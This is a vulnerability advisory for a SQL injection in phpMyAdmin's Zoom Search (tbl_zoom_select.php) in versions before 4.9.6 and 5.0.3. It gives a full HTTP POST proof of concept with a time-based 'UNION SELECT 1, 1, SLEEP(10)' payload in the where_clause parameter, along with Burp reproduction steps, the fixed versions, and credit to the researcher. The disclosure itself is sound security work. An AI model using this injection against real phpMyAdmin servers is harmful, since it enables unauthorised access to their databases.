Summary
A SQL Injection vulnerability was discovered in phpMyAdmin through
SearchController.
Product
phpMyAdmin versions 4.9.x before 4.9.6, and versions 5.0.x before 5.0.3.
Impact
It’s possible to inject malicious SQL code.
Steps to reproduce
Tested on 5.0.2.
Send a request like the following:
POST /tbl_zoom_select.php HTTP/1.1
Host: <hostname>
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Cookie: phpMyAdmin=5d0e6d29e0d29da3c0d3d13c5889efe2; pmaUser-1=%7B%22iv%22%3A%225qVKSsoHMqIDR7gcEV9JXA%3D%3D%22%2C%22mac%22%3A%226600f62825dc19f18f6750ebbbed31b61e784046%22%2C%22payload%22%3A%22f%5C%2FG6BxDqugygFK8FfJkKGw%3D%3D%22%7D; pmaAuth-1=%7B%22iv%22%3A%22vsY%5C%2FkQyprWj5ddaklExp1A%3D%3D%22%2C%22mac%22%3A%220f7848845805fd4f323a5fde87752ebaa016be36%22%2C%22payload%22%3A%22kvJLEU6RlHRLqTjFjxYL%2BV9CCXbfxhCvMbKq5CdORlI%3D%22%7D
db=test&table=test_table&token=7f6f64702a2b623d583f772848777a35&get_data_row=true&where_clause=1+union+select+1,+1,+sleep(10)Or follow these steps:
-
After having phpMyAdmin running, go to the Zoom Search page and fill in
the form; -
Intercept the message, e.g. with Burp, after hitting the Go button;
-
Add the
get_data_rowandwhere_clauseparameters to the intercepted
request —get_data_rowset totrue, andwhere_clauseset to1 UNION SELECT 1, 1, SLEEP(10)(URL encoded); -
And finally, after forwarding the request to phpMyAdmin, one can see the
full query, and the response takes a long time to arrive (due to
SLEEP(10)).
Remediation
Update to phpMyAdmin 4.9.6, 5.0.3, or later.
Credit
This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.
